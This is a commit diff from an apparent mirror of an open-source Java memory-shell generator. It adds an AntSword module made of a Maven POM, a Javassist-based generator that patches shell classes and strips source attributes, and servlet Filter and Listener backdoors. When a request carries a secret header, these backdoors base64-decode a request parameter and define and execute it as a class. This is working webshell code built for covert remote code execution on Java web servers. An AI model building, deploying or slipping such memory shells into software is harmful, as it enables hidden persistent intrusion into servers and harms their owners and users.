mirror of
https://github.com/pen4uin/java-memshell-generator.git
synced 2026-09-22 01:30:43 +08:00
61快乐
This commit is contained in:
@@ -0,0 +1,21 @@
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<parent>
|
||||
<groupId>jmg</groupId>
|
||||
<artifactId>java-memshell-generator</artifactId>
|
||||
<version>${revision}</version>
|
||||
</parent>
|
||||
<artifactId>jmg-antsword</artifactId>
|
||||
|
||||
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>jmg</groupId>
|
||||
<artifactId>jmg-core</artifactId>
|
||||
<version>${revision}</version>
|
||||
<scope>compile</scope>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
|
||||
</project>
|
||||
@@ -0,0 +1,56 @@
|
||||
package jmg.antsword.generator;
|
||||
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.CtClass;
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import jmg.core.config.Constants;
|
||||
import jmg.core.generator.IShellGenerator;
|
||||
import jmg.antsword.util.ShellUtil;
|
||||
import jmg.core.util.CommonUtil;
|
||||
import jmg.core.util.JavassistUtil;
|
||||
import jmg.core.util.ResponseUtil;
|
||||
public class AntSwordGenerator implements IShellGenerator {
|
||||
|
||||
@Override
|
||||
public void initShell(AbstractConfig config) {
|
||||
if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6));
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] makeShell(AbstractConfig config) throws Exception {
|
||||
initShell(config);
|
||||
String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
|
||||
String shellClassName = ShellUtil.getShellClassName(shellName);
|
||||
byte[] bytes = modifyShell(shellClassName, config);
|
||||
config.setShellBytes(bytes);
|
||||
config.setShellBytesLength(bytes.length);
|
||||
config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
|
||||
return bytes;
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] modifyShell(String className, AbstractConfig config) {
|
||||
byte[] bytes = new byte[0];
|
||||
try {
|
||||
pool.insertClassPath(new ClassClassPath(AntSwordGenerator.class));
|
||||
CtClass ctClass = pool.getCtClass(className);
|
||||
ctClass.getClassFile().setVersionToJava5();
|
||||
JavassistUtil.addFieldIfNotNull(ctClass, "pass", config.getPass());
|
||||
JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
|
||||
JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
|
||||
JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
|
||||
|
||||
if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
|
||||
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||
}
|
||||
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||
bytes = ctClass.toBytecode();
|
||||
ctClass.detach();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
package jmg.antsword.memshell;
|
||||
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
|
||||
public class AntSwordFilter implements Filter {
|
||||
public String pass;
|
||||
public String headerName;
|
||||
public String headerValue;
|
||||
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
try {
|
||||
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||
String cls = request.getParameter(pass);
|
||||
if (cls != null) {
|
||||
try {
|
||||
byte[] data = doBase64Decode(cls);
|
||||
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||
method.setAccessible(true);
|
||||
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
|
||||
clazz.newInstance().equals(new Object[]{request, response});
|
||||
} catch (Exception var7) {
|
||||
}
|
||||
}
|
||||
} else {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] doBase64Decode(String str) throws Exception {
|
||||
try {
|
||||
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
|
||||
} catch (Exception var5) {
|
||||
Class clazz = Class.forName("java.util.Base64");
|
||||
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
|
||||
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
|
||||
}
|
||||
}
|
||||
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
}
|
||||
|
||||
public void destroy() {
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
package jmg.antsword.memshell;
|
||||
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
|
||||
public class AntSwordListener implements ServletRequestListener {
|
||||
public String pass;
|
||||
public String headerName;
|
||||
public String headerValue;
|
||||
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
HttpServletResponse response = getResponseFromRequest(request);
|
||||
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||
String cls = request.getParameter(pass);
|
||||
if (cls != null) {
|
||||
try {
|
||||
byte[] data = base64Decode(cls);
|
||||
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||
method.setAccessible(true);
|
||||
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
|
||||
clazz.newInstance().equals(new Object[]{request, response});
|
||||
} catch (Exception var7) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
private static synchronized Object getFV(Object var0, String var1) throws Exception {
|
||||
Field var2 = null;
|
||||
Class var3 = var0.getClass();
|
||||
|
||||
while (var3 != Object.class) {
|
||||
try {
|
||||
var2 = var3.getDeclaredField(var1);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
var3 = var3.getSuperclass();
|
||||
}
|
||||
}
|
||||
|
||||
if (var2 == null) {
|
||||
throw new NoSuchFieldException(var1);
|
||||
} else {
|
||||
var2.setAccessible(true);
|
||||
return var2.get(var0);
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] base64Decode(String str) throws Exception {
|
||||
try {
|
||||
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str));
|
||||
} catch (Exception var5) {
|
||||
Class clazz = Class.forName("java.util.Base64");
|
||||
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
|
||||
return (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str));
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package jmg.antsword.util;
|
||||
|
||||
import jmg.antsword.memshell.AntSwordFilter;
|
||||
import jmg.antsword.memshell.AntSwordListener;
|
||||
import jmg.core.config.Constants;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
public class ShellUtil {
|
||||
|
||||
private static final Map<String, String> SHELL_CLASSNAME_MAP = new HashMap();
|
||||
private static final Map<String, Map<String, String>> toolMap = new HashMap();
|
||||
|
||||
public ShellUtil() {
|
||||
}
|
||||
|
||||
public static String getShellName(String toolType, String shellType) {
|
||||
Map<String, String> shellMap = toolMap.get(toolType);
|
||||
return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
|
||||
}
|
||||
|
||||
public static String getShellClassName(String shellName) throws Exception {
|
||||
if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
|
||||
throw new Exception("Invalid shell type '" + shellName + "'");
|
||||
} else {
|
||||
return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
|
||||
}
|
||||
}
|
||||
|
||||
static {
|
||||
SHELL_CLASSNAME_MAP.put(AntSwordListener.class.getSimpleName(), AntSwordListener.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(AntSwordFilter.class.getSimpleName(), AntSwordFilter.class.getName());
|
||||
Map<String, String> antSwordMap = new HashMap();
|
||||
antSwordMap.put(Constants.SHELL_FILTER,AntSwordFilter.class.getSimpleName());
|
||||
antSwordMap.put(Constants.SHELL_LISTENER, AntSwordListener.class.getSimpleName());
|
||||
toolMap.put(Constants.TOOL_ANTSWORD, antSwordMap);
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
Reference in New Issue
Block a user